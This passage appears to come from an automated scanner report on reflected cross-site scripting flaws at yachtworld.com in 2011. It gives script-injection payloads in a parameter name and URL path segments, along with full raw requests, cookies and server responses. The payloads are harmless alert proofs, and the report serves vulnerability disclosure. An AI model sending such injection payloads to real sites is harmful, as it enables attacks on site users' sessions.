VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:00 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 16:08:22 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:00 GMT Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.92. http://www.yachtworld.com/boats/2004/Regulator-32-Fs-1930392/Toms-River/NJ/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 848cf"><script>alert(1)</script>c7c6ac147ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-1930392/Toms-River/NJ/United-States?848cf"><script>alert(1)</script>c7c6ac147ce=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:03 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 16:08:22 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:03 GMT Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 234c4"><script>alert(1)</script>97cd139ab78 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-2305173/Gloucester234c4"><script>alert(1)</script>97cd139ab78/VA/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:50 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 06:03:33 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:50 GMT Set-Cookie: VIEWED_BOATS_STORE=2305173%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B69%2C900%5B%25%5DGloucester%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305173_1_mini.jpg%3F1296020707000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-2305173%2FGloucester%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a142d"><script>alert(1)</script>12c59d7a8be was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-2305173/Gloucester/VAa142d"><script>alert(1)</script>12c59d7a8be/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 